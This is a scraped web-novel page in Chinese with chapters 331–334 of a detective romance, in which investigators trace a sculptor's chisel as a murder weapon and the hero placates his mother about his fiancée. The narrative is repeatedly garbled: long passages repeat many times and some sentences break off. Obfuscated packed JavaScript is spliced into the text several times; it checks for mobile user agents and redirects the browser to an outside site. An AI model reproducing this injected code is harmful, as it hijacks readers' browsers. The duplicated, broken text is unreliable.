这样的亲戚家的孩子,向浩然父亲当然不愿意过继。 过继之后,对方就有了继承权。也就是说,这么多这么多的钱,以后就是那个孩子的了。 万一,把钱都给他,又尽心尽力的养他长大。 他翻脸了呢? 钱到手之后,就去找了亲生父母,那他们这为人做嫁衣的养父母不是见了鬼? 向浩然父亲说:“所以我想着,与其过继一个小的,还不知道未来会怎么样。不如直接过继一个已经成年,现在就已经能看出人品性格的养子,这样更加稳当。” 果然是做大生意的人,想的就是周到。 焦成顺也觉得向浩然父亲说的十分有道理,赞许的连连点头。 也不知道这个人是谁,这跟天上掉馅饼有什么区别,做梦都要笑醒的好事情。 过继算什么,哪怕是要过继他儿子,他也愿意啊。 :“我和亲戚的关系都不好。” 为了更逼真,向浩然父亲对焦成顺叨叨了不少事情。 为什么会跟亲戚关系不好。 总体来说就是,有钱了,亲戚眼红了。开始的时候,他也愿意带着亲戚一起赚钱,但是都是扶不上墙的阿斗,只想在他身上捞好处。 不但帮不上一点忙,还给他带来可不少损失。 一来二去的,就把亲自都给得罪了。 这样的亲戚家的孩子,向浩然父亲当然不愿意过继。 过继之后,对方就有了继承权。也就是说,这么多这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了更逼真,向浩然父亲对焦成顺叨叨了不少事情。 为什么会跟亲戚关系不好。 总体来说就是,有钱了,亲戚眼红了。开始的时候,他也愿意带着亲戚一起赚钱,但是都是扶不上墙的阿斗,只想在他身上捞好处。 不但帮不上一点忙,还给他带来可不少损失。 一来二去的,就把亲自都给得罪了。 这样的亲戚家的孩子,向浩然父亲当然不愿意过继。 过继之后,对方就有了继承权。也就是说,这么多这么多的钱,以后就是那个孩子的了。 万一,把钱都给他,又尽心尽力的养他长大。 他翻脸了呢? 钱到手之后,就去找了亲生父母,那他们这为人做嫁衣的养父母不是见了鬼? 向浩然父亲说:“所以我想着,与其过继一个小的,还不知道未来会怎么样。不如直接过继一个已经成年,现在就已经能看出人品性格的养子,这样更加稳当。” 果然是做大生意的人,想的就是周到。 焦成顺也觉得向浩然父亲说的十分有道理,赞许的连连点头。 也不知道这个人是谁,这跟天上掉馅饼有什么区别,做梦都要笑醒的好事情。 过继算什么,哪怕是要过继他儿子,他也愿意啊。 :“我和亲戚的关系都不好。” 为了更逼真,向浩然父亲对焦成顺叨叨了不少事情。 为什么会跟亲戚关系不好。 总体来说就是,有钱了,亲戚眼红了。开始的时候,他也愿意带着亲戚一起赚钱,但是都是扶不上墙的阿斗,只想在他身上捞好处。 不但帮不上一点忙,还给他带来可不少损失。 一来二去的,就把亲自都给得罪了。 这样的亲戚家的孩子,向浩然父亲当然不愿意过继。 过继之后,对方就有了继承权。也就是说,这么多这么多的钱,以后就是那个孩子的了。 万一,把钱都给他,又尽心尽力的养他长大。 他翻脸了呢? 钱到手之后,就去找了亲生父母,那他们这为人做嫁衣的养父母不是见了鬼? 向浩然父亲说:“所以我想着,与其过继一个小的,还不知道未来会怎么样。不如直接过继一个已经成年,现在就已经能看出人品性格的养子,这样更加稳当。” 果然是做大生意的人,想的就是周到。 焦成顺也觉得向浩然父亲说的十分有道理,赞许的连连点头。 也不知道这个人是谁,这跟天上掉馅饼有什么区别,做梦都要笑醒的好事情。 过继算什么,哪怕是要过继他儿子,他也愿意啊。 第331章 双向奔赴 就在向浩然父亲用生意场上练出来的三寸不烂之舌忽悠完焦成顺的时候,天渐渐亮了。 向浩然父亲说:“昨晚上折腾一夜,大家也累了。亲家,要不然的话,去我家坐坐吧,哎,不瞒你说,我有很多话想要跟你们说。” 向浩然父亲分配到的任务就是这样的。 尽可能地和焦成顺搞好关系,打消他的顾虑,让他相信自己,相信这件事情。 焦名扬只会为了利益回国。 他现在是最大的嫌疑人,不管在外面他是在做什么,只要回了国,就可以控制起来,在彻底洗清嫌疑之前,不会让他再离开。 彻底洗清嫌疑之后,没有了向家资助的大量资金,他也不可能在出国了。 不过这就不关楚隽的事情了,他要负责到底的就是,弄清楚焦名扬到底是不是凶手,如果是,抓起来,该怎么判就怎么判。如果不是,剩下的事情,就是向家和焦家自己扯皮的事情了。 当然苦命的楚隽也没得休息。 想要杀向浩然的人,目前还没有头绪。 一环一环地扣在了一起,没有办法直接解答最后一个谜团,如今只能是抓住哪个算哪个。 抓住一个,解开一个。当所有的排面都解开的时候,自然能顺藤摸瓜,找到所有的人。 深秋,天亮得已经不早了。 起点,安暖在车上醒来。 楚隽不知是没睡,还是先醒了,听着动静,转头看了过来。 就看见安暖像是慢动作一样的睁开了眼睛。 好像睫毛有点重,慢慢地眨了一下,又眨了一下。 “醒了?” “嗯……”安暖刚醒,声音有点嘶哑:“你醒那么早?” “我也刚醒一会儿。”楚隽从一旁拿过个小袋子:“牙膏牙刷,杯子,还有水。洗漱一下吃早饭。” 安暖有点懵。 “车上怎么有这些东西?” 他们从没想过会在车上过夜,怎么可能有洗漱用品。 即便之前出门的时候,也没在车上放牙膏牙刷什么,最多就是放几件备用换洗的衣服。 “我刚才去村口的小店里买的。”楚隽说:“知道你起来要洗漱,不然不舒服。” 安暖这人啊,楚隽现在是摸得很透彻了。 特别能将就,但是也特别讲究。 任务需要,再脏再乱也不皱眉。有条件,每天洗澡恨不得要放精油香薰花瓣。 安暖很欣慰。 孺子可教。 楚隽虽然是个大直男,有时候还有点硬,但心细又体贴。关键是,愿意为你着想。 他从不会觉得,自己是乡下来的,应该过习惯了苦日子,不必过得那么精细。要这样那样的享受是矫情,是做作。 楚隽的观念是,人生在世,能享受就该享受。 安暖会享受,这是应该的,不但应该,还是聪明的表现。 有好日子不过,那是傻子。 虽然安暖对一起先进的科技的东西接受的有点过于自然,但总好过于有好东西不用,非要天天守着村里的一某二分地吧。 就这个问题,在安暖不知道的情况下,楚隽和他妈详细地聊过。 还是那个手表开的头。 后来,楚母就注意了一下安暖。 发现她的吃穿住行,日常生活,快速地奢侈起来。 楚隽都开始给三室套装空调了,说安暖怕冷怕热。 楚母当时就觉得有点心里不安。 “儿子,你难道不觉得,安暖这姑娘,有些过于享乐主义了吗?” “有吗?”楚隽当时就说:“她只是要装个空调,又不是要天上的星星,有这么严重吗?” “……” 楚母被堵了一下。 “不是,话不是这么说。空调我知道你买得起,但你看安暖来了咱们家之后,穿得用的,BB机,手表,汽车,空调……他们家有没有自行车都两说,就敢直接开上车了,还一副理所当然的样子,一点儿也没有不安。” “开个车,还开出不安来了。”楚隽明知道他妈是什么意思,硬是不接茬:“您放心吧,安暖开车的技术非常好,甚至和我不相上下,一点儿都不用不安,出不了事情的。驾照我也给她办好了。” 楚母当是就一脸黑线。 她对自己的儿子,那还是相当了解的。 知道他在用什么招数对付自己。 顾左右言他,四两拨千斤。 他强任他强,清风拂山岗。他横任他横,明月照大江。 这是不接招啊。 当下楚母就严肃起来。 “你别跟我糊弄,楚隽,你知道我想说的是什么。” “是。”楚隽叹了口气:“妈,我知道您想说。” 妈都生气了,再不严肃点,说不定要上手了。 “你真的知道我想说什么?” 楚母还有些不相信。 “知道。”楚隽说:“你觉得心里不平衡的是,从东莱县到京市,因为我们家的缘 故,安暖的生活得到了天翻地覆的改变。俗话说,就是飞上枝头变凤凰了。” 楚母这才不出声了。 是,她就是这么个意思。 虽然她绝对不会在安暖面前说这话,但意思就是这个意思,现实也就是这么个现实。 楚隽道:“生活条件改善了这么多,安暖应该对我们家感恩戴德才对。可是,她接受得很坦然,让你觉得她是个不懂感恩的人。” 楚母哼一声:“我说的难道不对吗?” “对,您说的没错。”楚隽哄着:“但您怎么知道安暖不是个懂得感恩的人呢?你怎么知道她没有感恩戴德呢?” “有吗?” 楚母是真没感觉出来。 “当然有。”楚隽说:“她对你,难道不是客客气气,尊重有加吗?对爷爷,也很孝顺啊,难道你看不出来吗?” 楚母皱眉道:“虽然是,但是……这难道不是应该的吗?我是她未来的婆婆,爷爷更是长辈,她不该孝顺?” “应该的,都是应该的。”楚隽给楚母倒了杯水:“可这不就行了吗?我们对她好,她对我们好,这不就是……双向奔赴了吗?” 双向奔赴这个词,还是安暖教楚隽的呢。 安暖总是时不时会冒出一个奇怪的词语来。 有些从字面上楚隽还能猜一下,有些是真猜不出什么意思。 故,安暖的生活得到了天翻地覆的改变。俗话说,就是飞上枝头变凤凰了。” 楚母这才不出声了。 是,她就是这么个意思。 虽然她绝对不会在安暖面前说这话,但意思就是这个意思,现实也就是这么个现实。 楚隽道:“生活条件改善了这么多,安暖应该对我们家感恩戴德才对。可是,她接受得很坦然,让你觉得她是个不懂感恩的人。” 楚母哼一声:“我说的难道不对吗?” “对,您说的没错。”楚隽哄着:“但您怎么知道安暖不是个懂得感恩的人呢?你怎么知道她没有感恩戴德呢?” “有吗?” 楚母是真没感觉出来。 “当然有。”楚隽说:“她对你,难道不是客客气气,尊重有加吗?对爷爷,也很孝顺啊,难道你看不出来吗?” 楚母皱眉道:“虽然是,但是……这难道不是应该的吗?我是她未来的婆婆,爷爷更是长辈,她不该孝顺?” “应该的,都是应该的。”楚隽给楚母倒了杯水:“可这不就行了吗?我们对她好,她对我们好,这不就是……双向奔赴了吗?” 双向奔赴这个词,还是安暖教楚隽的呢。 安暖总是时不时会冒出一个奇怪的词语来。 有些从字面上楚隽还能猜一下,有些是真猜不出什么意思。 故,安暖的生活得到了天翻地覆的改变。俗话说,就是飞上枝头变凤凰了。” 楚母这才不出声了。 是,她就是这么个意思。 虽然她绝对不会在安暖面前说这话,但意思就是这个意思,现实也就是这么个现实。 楚隽道:“生活条件改善了这么多,安暖应该对我们家感恩戴德才对。可是,她接受得很坦然,让你觉得她是个不懂感恩的人。” 楚母哼一声:“我说的难道不对吗?” “对,您说的没错。”楚隽哄着:“但您怎么知道安暖不是个懂得感恩的人呢?你怎么知道她没有感恩戴德呢?” “有吗?” 楚母是真没感觉出来。 “当然有。”楚隽说:“她对你,难道不是客客气气,尊重有加吗?对爷爷,也很孝顺啊,难道你看不出来吗?” 楚母皱眉道:“虽然是,但是……这难道不是应该的吗?我是她未来的婆婆,爷爷更是长辈,她不该孝顺?” “应该的,都是应该的。”楚隽给楚母倒了杯水:“可这不就行了吗?我们对她好,她对我们好,这不就是……双向奔赴了吗?” 双向奔赴这个词,还是安暖教楚隽的呢。 安暖总是时不时会冒出一个奇怪的词语来。 有些从字面上楚隽还能猜一下,有些是真猜不出什么意思。 故,安暖的生活得到了天翻地覆的改变。俗话说,就是飞上枝头变凤凰了。” 楚母这才不出声了。 是,她就是这么个意思。 虽然她绝对不会在安暖面前说这话,但意思就是这个意思,现实也就是这么个现实。 楚隽道:“生活条件改善了这么多,安暖应该对我们家感恩戴德才对。可是,她接受得很坦然,让你觉得她是个不懂感恩的人。” 楚母哼一声:“我说的难道不对吗?” “对,您说的没错。”楚隽哄着:“但您怎么知道安暖不是个懂得感恩的人呢?你怎么知道她没有感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023036|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩戴德呢?” “有吗?” 楚母是真没感觉出来。 “当然有。”楚隽说:“她对你,难道不是客客气气,尊重有加吗?对爷爷,也很孝顺啊,难道你看不出来吗?” 楚母皱眉道:“虽然是,但是……这难道不是应该的吗?我是她未来的婆婆,爷爷更是长辈,她不该孝顺?” “应该的,都是应该的。”楚隽给楚母倒了杯水:“可这不就行了吗?我们对她好,她对我们好,这不就是……双向奔赴了吗?” 双向奔赴这个词,还是安暖教楚隽的呢。 安暖总是时不时会冒出一个奇怪的词语来。 有些从字面上楚隽还能猜一下,有些是真猜不出什么意思。 故,安暖的生活得到了天翻地覆的改变。俗话说,就是飞上枝头变凤凰了。” 楚母这才不出声了。 是,她就是这么个意思。 虽然她绝对不会在安暖面前说这话,但意思就是这个意思,现实也就是这么个现实。 楚隽道:“生活条件改善了这么多,安暖应该对我们家感恩戴德才对。可是,她接受得很坦然,让你觉得她是个不懂感恩的人。” 楚母哼一声:“我说的难道不对吗?” “对,您说的没错。”楚隽哄着:“但您怎么知道安暖不是个懂得感恩的人呢?你怎么知道她没有感恩戴德呢?” “有吗?” 楚母是真没感觉出来。 “当然有。”楚隽说:“她对你,难道不是客客气气,尊重有加吗?对爷爷,也很孝顺啊,难道你看不出来吗?” 楚母皱眉道:“虽然是,但是……这难道不是应该的吗?我是她未来的婆婆,爷爷更是长辈,她不该孝顺?” “应该的,都是应该的。”楚隽给楚母倒了杯水:“可这不就行了吗?我们对她好,她对我们好,这不就是……双向奔赴了吗?” 双向奔赴这个词,还是安暖教楚隽的呢。 安暖总是时不时会冒出一个奇怪的词语来。 有些从字面上楚隽还能猜一下,有些是真猜不出什么意思。 故,安暖的生活得到了天翻地覆的改变。俗话说,就是飞上枝头变凤凰了。” 楚母这才不出声了。 是,她就是这么个意思。 虽然她绝对不会在安暖面前说这话,但意思就是这个意思,现实也就是这么个现实。 楚隽道:“生活条件改善了这么多,安暖应该对我们家感恩戴德才对。可是,她接受得很坦然,让你觉得她是个不懂感恩的人。” 楚母哼一声:“我说的难道不对吗?” “对,您说的没错。”楚隽哄着:“但您怎么知道安暖不是个懂得感恩的人呢?你怎么知道她没有感恩戴德呢?” “有吗?” 楚母是真没感觉出来。 “当然有。”楚隽说:“她对你,难道不是客客气气,尊重有加吗?对爷爷,也很孝顺啊,难道你看不出来吗?” 楚母皱眉道:“虽然是,但是……这难道不是应该的吗?我是她未来的婆婆,爷爷更是长辈,她不该孝顺?” “应该的,都是应该的。”楚隽给楚母倒了杯水:“可这不就行了吗?我们对她好,她对我们好,这不就是……双向奔赴了吗?” 双向奔赴这个词,还是安暖教楚隽的呢。 安暖总是时不时会冒出一个奇怪的词语来。 有些从字面上楚隽还能猜一下,有些是真猜不出什么意思。 故,安暖的生活得到了天翻地覆的改变。俗话说,就是飞上枝头变凤凰了。” 楚母这才不出声了。 是,她就是这么个意思。 虽然她绝对不会在安暖面前说这话,但意思就是这个意思,现实也就是这么个现实。 楚隽道:“生活条件改善了这么多,安暖应该对我们家感恩戴德才对。可是,她接受得很坦然,让你觉得她是个不懂感恩的人。” 楚母哼一声:“我说的难道不对吗?” “对,您说的没错。”楚隽哄着:“但您怎么知道安暖不是个懂得感恩的人呢?你怎么知道她没有感恩戴德呢?” “有吗?” 楚母是真没感觉出来。 “当然有。”楚隽说:“她对你,难道不是客客气气,尊重有加吗?对爷爷,也很孝顺啊,难道你看不出来吗?” 楚母皱眉道:“虽然是,但是……这难道不是应该的吗?我是她未来的婆婆,爷爷更是长辈,她不该孝顺?” “应该的,都是应该的。”楚隽给楚母倒了杯水:“可这不就行了吗?我们对她好,她对我们好,这不就是……双向奔赴了吗?” 双向奔赴这个词,还是安暖教楚隽的呢。 安暖总是时不时会冒出一个奇怪的词语来。 有些从字面上楚隽还能猜一下,有些是真猜不出什么意思。 第332章 两个儿媳妇 楚母喝了一口茶顺顺气。 楚隽继续给她做思想工作。 身为刑警队长可不仅仅是能打这么简单。脑力体力都要有既要能和歹徒**实弹地硬碰硬还要运筹帷幄指挥行动安排行动。 各种各样的手下都要能驾驭。 能将他们安排到最合适的位置。 有时候也是要处理矛盾的。 楚隽说:“其实这一点妈您真的误会了安暖私下跟我提过好几次说多亏了我要不然的话日子过得不会那么舒服她心里是敞亮的懂得感恩。” 也不知道安暖是真的说过这话还是楚隽为了安抚自己胡说的。但是不管怎么样楚母心里总算是舒服一点。 “她这么说了我能说什么呢我当然是要安抚她这都是应该的让她别多心对不对。” 楚隽给楚母讲道理。 “我们以后是要过日子的夫妻俩在一起过好日子靠的是感情 楚隽的话非常有道理还有一点夸张。 不过听起来是这么回事。 “再说了我是男人她是个女孩子。她嫁人丈夫家给她提供优渥的生活这不是很正常吗?她过得越舒服越滋润被宠得越金贵那不是说明我有能力吗?就像是这次回去她要是灰头土脸有上顿没下顿人家笑话谁还不是笑话我?” 虽然不公平但现实就是如此。 如果是男方靠女方过上舒服日子可能会有人觉得他吃软饭。觉得女方家里不值得养了个小白脸。 可女孩子嫁了个条件好的丈夫都是夸奖的。 至于配得上配不上都是私下的时候谁也不会说到正主面前去。要是有人说到正主面前去除了证明你不行也证明不了什么其他的。 楚隽语重心长地说:“妈您想想。” “嗯?” “您是愿意看见她坦坦荡荡的人家见了都说你儿媳妇大气呢。还是愿意她整天诚惶诚恐天天感恩戴德见你就抹眼泪的。你对她再好都一副唯唯诺诺小媳妇的样子人家看了都怀疑你**她的儿媳妇呢?” 楚母脸都黑了。 “还有呢。”楚隽说:“有好衣服不穿非要穿带补丁的有车不开大太阳底下走三个小时。每天吃饭有桌子不敢坐蹲墙角多吃一口肉都觉得罪大恶极天天面有菜色风一吹就倒……” 楚母的脸黑了又绿了。 楚隽察言观色,觉得差不多了,这药下得挺猛了。 “您想想,哪个儿媳妇好?”楚隽也在心里对比了一下,然后喜滋滋:“是不是现在这个好?要是爷爷真给我订了个那样的,倒是省钱了,但你不堵心吗?是省那点钱重要,还是过得舒坦重要?” 楚母长长地呼出一口气。 “你说得对。”楚母拍了拍儿子的手:“我们这样的人家,只要不奢靡,不为非作歹,还是会花钱得好,会享受得好。” 别的不说。 现在的任何场合,见任何一个大人物,楚母都敢带安暖去。 她知道,除了出生差点,安暖没有形象内涵上的短板,绝对不会怯场给她丢人,只会长脸。一切都能妥善应对。 要是安暖真是楚隽说的那样,那就完了。 那是真带不出去了。 在安暖不知道的情况下,楚隽成功地化解了很多婆媳之间的矛盾。 他一直都是这么认同的。 婆媳之间的矛盾,都是因为丈夫的不作为。 本来就是两个陌生人,又关心的是同一个男人。自然会有各种摩擦,互相看不顺眼的地方。 作为两人之间联系的纽带,这个男人,就要肩负起稳定调和的作用。两边劝两边哄,而不是一味地偏向哪一方,或者,两边说大实话拱火。 过好日子,是要有一些技巧的。 楚母的很多不满,根本到不了安暖面前,就解决了。 安暖对楚母没有不满。 她开诚布公地对楚隽说过。 阿姨喜欢我,我很高兴。 阿姨不喜欢我,我也能理解。 要是因为这个,咱们日子确实不能过,也不要勉强。你跟我实话实说,我是能接受的。 安暖敞亮,楚隽只是哈哈一笑让她放心,就过去了。 此时,楚隽不但给安暖准备了洗漱用品,还有早饭。 焦家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028401|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门是开着的,焦成顺夫妻被向浩然父母接走做客去了,家里没人。 安暖进了焦家的院子。 院子里有水。 她洗漱了一下。 楚隽买了包子油条,都是简单的早饭。 吃了早饭,开工做事。 这个院子和几个房间,楚隽当初和安暖已经检查过一遍了,但当时的目的没有那么明确。 也没有特别注意,找类似小而坚硬的物体。 楚隽又从局里调来几个人,要将这院子和屋子 ,仔仔细细的过一遍。 当时有向浩然顶了包,就算是焦名扬自己,也未必知道焦雨花到底是**的,这个凶器,可能只是随手一丢,未必会毁尸灭迹。 虽然三年了,但这上面可能还有血迹。 只是未必有指纹,又是家里的东西,就算是有指纹也不能说明什么。 房间里的抽屉,柜子,放杂物的篓子,一点一点地搜查过去。 安暖也带着手套一起搜证。 时间过得很快,却没有什么收获。 安暖在房间里随意的看着,有时候,发现就在不经意间。 她伸手摸了摸靠在墙边的柜子。 刘主任说了,凶器是一个有手柄,有重量,有一个圆头的,类似于锤子的东西。 但很小。 这么小的锤子,一般家庭也用不上啊。 难道是什么专业的工具吗? “楚队。”安暖快步走向楚隽。 “怎么了?” “你知道这村子里,有些什么专业人吗?” “专业的人?比如呢?” “木工,铁匠,泥瓦工?”安暖说:“刘主任说,凶器可能是某一种工具。但是常用的农具都看过了,没有能造成这样的伤口的。那不如把范围扩大一点,看看村子里还有什么其他工具,都找来看看。” 与其找不知道有没有的房间,不如直接找凶器本身。 以前,有时候伤口无法确认的时候,她就会出去转。 一边转,一边看。 偶尔也是有发现的。 第333章 美术老师 安暖说得很有道理不过他们对这村子都不熟悉村子里有什么人也不了解。 但有现成的熟悉的人。 金大师还没走呢。 估计是害怕楚隽找他清算封建迷信那些事儿所以这几天金大师表现得特别好特别配合特别积极。 有什么事情一句话的事儿。 没有事情金大师也多次强调他非常愿意配合警方的一切调查这都是他应该做的能够为人民服务是他的荣幸。 金大师积极主动的恨不得原地入党。 但怎么说呢一个成功的大师必然是一个非常会说话的人。要不然的话不可能让众人信服。 所以虽然对这个职业有些意见但是金大师这几日做的事情说的话让人很舒服。 楚隽从不会在职业需要之外找人的麻烦。 当下他就决定找金大师打听。 果然金大师一听立刻道:“没问题包在我身上。我家祖孙几代人都在这里生活。村里哪家有几口人是做什么营生的清清楚楚。” 楚隽很高兴。 “那就麻烦了。” 现如今是改革开放市场经济。 但在之前 人们生活所需的各种物资要么是自己做出来的要么是村子里或者周边村子里有会这方面技术的村民由他们做出来进行售卖或者以物易物。 没有人能集所有能力在一身。 技能点也是这个点这一门那个点另一门。 所以村里有很多手艺人。 金大师说:“我也不知道你们要看什么手艺那就我知道的一家一家地去看吧。” “好。” 反正他们自己也不知道要看的是什么手艺就宁可多看不可错过了。 金大师美滋滋地上了楚隽的车。 这么好的车坐上去感觉真不错要不是这次他还真没什么机会能坐上。 就这么看了好几家。 一直到了一处院子。 “这个院子里面住着一个画家。” “画家?” “对。”金大师说:“以前是美院的老师后来被批斗下乡去了。不过身体不好也不会干活儿听说在乡下过得不太好。好在后来**了又回了城不过身体磋磨得不行了也不愿意进城就在咱们村子里买了个房子住着。” 金大师还挺羡慕的。 “王老师虽然身体不好,但是经济不错。本来条件就好,儿女也争气,所以他不缺钱,就日日把自己关在院子里,画画儿啊,做雕刻啊,尽搞些什么……叫什么来着……” 安暖说:“艺术。” “对对对。”金大师立刻道:“就是这个。不能吃不能喝的,就搞艺术。” 当年那些事情,确实有一批老知识分子吃了苦。 对此,安暖没什么想表态的,唯一庆幸的是,自己虽然没穿到最好的时代,也没穿到最坏的时代。 要不然的话,即便她的身份没有什么值得批斗的地方,但也不可能过上这么舒服的日子。 当然比不上上辈子,可在这个年代,那真是吃香的喝辣的,非常非常好的日子了。 金大师一边介绍,一边开门进了院子。 院子的门没锁,院子里,散落着一地的木屑。 楚隽突然道:“焦名扬在国外,学的也是美术专业吧?” 安暖心里咯噔了一下。 “我不知道。” 还真是忽略了这个细节。 因为从这个事情发生开始,焦名扬就一直在国外,开始的时候,甚至没有进入他们的视线。 对他有所怀疑,也就是这两日的事情。 这个怀疑也只是怀疑他和焦雨花兄妹不和。 一个家庭里,当家做主的人,对家庭成员是什么态度,其他人也就会是什么态度。 就好像丈夫对妻子尊重,疼爱。那孩子们也会有样学样,对母亲尊重,心疼。 如果丈夫对妻子暴躁,怠慢,忽视。孩子们就会理所当然地认为,母亲是家庭中不受重视的角色,可以对她非打即骂,可以无所顾忌地享受她的付出,却无需感恩。 焦家也是如此。 焦名扬对焦雨花的态度,就是焦成顺夫妻对焦雨花的态度。 当他们从小说到大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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之前只知道你喜欢喝可乐,什么时候喜欢喝茶了?真是会说话。 第334章 巨幅画像 见安暖欣赏自己喜欢的茶叶,王老师很高兴,有种酒逢知己千杯少的激动,心情瞬间就好了许多。 寒暄几句,王老师恢复了正常。 楚隽说:“王老师,你认识焦名扬吗?” “认识呀。”王老师说:“焦成顺家的儿子。” “对。” “你对他了解多少,和他熟悉吗?” “嗯,还挺熟悉的。我不喜欢他家父母的做派,但是他画画不错,我挺欣赏他的风格。人也挺好学,现在听说出国去了,之前在家里的时候,还经常来我这里,我会指点他一些。” 果然是熟悉的。 楚隽就开门见山了。 “你知道他和妹妹的关系吗?” 楚隽一说这个,王老师就皱了眉,脸上有种瞧不上的表情。 “他妹妹我知道,叫雨花,一个十来岁的小丫头。焦名扬在我这里学画的时候,她妹妹来找过几次。那么大的姑娘了,比同龄人都矮,黑瘦黑瘦的。一看就是家里照顾得不好。” 当局者可以装傻,但是旁观者没有那么多瞎子。 就算是焦成顺夫妻不承认,他们对焦雨花好不好,大家也心里明镜一般。 “焦名扬对他妹妹也不好,呼来喝去的,那样子不像是妹妹,像是佣人丫鬟。我看不过去,说了他两回。” “那他改了吗?” “呵。”王老师说:“冰冻三尺非一日之寒,这种习惯哪里是别人说一两句话就能改的。不过他想跟我学画,所以对我至少表面是尊敬的,我说了他之后,他表示自己会改,只是后来,他妹妹就没来找过我,我估计是回去之后,被爸妈训斥了。” 焦成顺夫妻,可不会觉得是因为他们对焦雨花不好,才引来了别人的非议。 只会觉得,这丫头事情怎么那么多,真不是个省油的灯。都是因为这个女儿,才让人说他们的闲话。 说一千道一万,错的肯定不是自己,更不能是心肝宝贝的儿子。 王老师叹了口气。 “这事情我看不惯,但是也没有那么熟悉到可以管别人家的闲事。慢慢地,我也就不太愿意接近焦家的人,免得自己看见堵心。” 所以,王老师和焦名扬,是有一段没有名分的师徒关系的。 楚隽道:“王老师,除了画画,焦名扬还跟你学过什么没有?比如说,雕刻?” “有啊。” 王老师说:“雕刻也是为的强项,他跟我学过好一阵子。” 楚隽立刻道:“ 你雕刻的那些工具,能不能拿来给我看一下?” 王老师虽然莫名其妙,可还是起身去拿了。 一个木头的工具箱,箱子打开,里面有各种不同的工具。 跟木匠的感觉有一点像。 王老师一一介绍。 这个工具是做什么的,那个工具是做什么的,术业有专攻,没有一个是多余的。 安暖从箱子里,拿出一个凿子。 不大,有手柄,一头是圆形的金属。 她摸了摸,冷硬冷硬的。 而且别看那么小,分量沉甸甸。 单独靠这个凿子,可能很难在人脑袋上敲出一个洞来,但如果加上个锤子吗? 安暖和楚隽对视一眼,在对方眼中看见了喜悦。 安暖立刻从怀里摸出一张纸,上面画了一个圆圈。 那是焦雨花头颅上的凹陷伤痕的形状和尺寸。 骸骨总不能一直露在外面,昨天晚上刘主任验尸之后,就进行了详细的数据记录,包括各种角度拍的各种照片。 这个圆形的凿子,和图纸上画出来的,尺寸和形状,都一模一样。 如果不出意外,这就是凶器。 但这一刻,安暖只觉得遍体生凉。 本来他们就算开始怀疑焦名扬是凶手,也认为这只是一个意外。 可能是兄妹俩起了争执,然后动了手,当然是单方面的,焦名扬对焦雨花动了手。 他们家习惯了对女儿的非打即骂,对他来说,这不是什么大不了的事情。 动手之后,一时失手,这才导致了焦雨花的死亡。 可如今看来,未必是个意外。 一个凿子办不到这样的事情,要加上锤子的助力。 这就无法想象了。 在什么样的情况下,一个做哥哥的,会拿着锤子和凿子,想要杀害自己的妹妹。 她轻轻地呼出口气。 人性的善,如海如山,永无止境。 人性的恶,追究至底,也绝不是十八层地狱。 楚隽道:“王老师,这样的工具,焦名扬有吗?” “有呀。”王老师说:“他学了雕塑,就得有一套工具。所谓兵欲善其事,必先利其器,没有工具,总不能拿牙啃吧。” 王老师不紧张之后,说话如沐春风,这会儿竟然还幽默了一下。 但楚隽和安暖实在是笑不出来。 楚隽道:“我们在焦家没有看见这样的一套工具,您知道他的工具去了哪里吗?带 出国了?还是会在其他什么地方?” “应该没带出国,送人了吧。”王老师说:“这里又是刻刀又是锤子的,也不好上飞机啊,应该是送人了。这一套工具买起来也挺贵,他在班上有关系不错,家庭条件不太好的,说不定就送了。” 安暖突然拍了拍楚隽的肩膀。 她突然有一个想法。 在这起案子里,一直有个人从未进入大家的视线。 到底是谁要杀向浩然。 这个人跟焦雨花肯定是有关系的,但是找不到。 那有没有可能,是跟焦名扬有关系呢? 焦雨花已经**三年了,根据家里人的回忆,她没有照过相。 这个人用钉子钉在墙上吓唬向浩然的巨幅相片,是哪里来的? 而且,这很危险。 虽然京市有不少照相馆,但这是开门做生意可查的。洗照片不是随便自己家就能做到的。想要洗巨幅照片就更不可能偷偷摸摸。 他在照相馆洗那么大一张照片,就不怕被人怀疑,暴露自己吗? 除非,他用的根本就不是照片。 而是一张画。 焦雨花的肖像画。 能画出惟妙惟肖一张肖像画的,可不是一般人。 这个人一定是专业的。 安暖在这一瞬间感觉自己终于找到了方向。 出国了?还是会在其他什么地方?” “应该没带出国,送人了吧。”王老师说:“这里又是刻刀又是锤子的,也不好上飞机啊,应该是送人了。这一套工具买起来也挺贵,他在班上有关系不错,家庭条件不太好的,说不定就送了。” 安暖突然拍了拍楚隽的肩膀。 她突然有一个想法。 在这起案子里,一直有个人从未进入大家的视线。 到底是谁要杀向浩然。 这个人跟焦雨花肯定是有关系的,但是找不到。 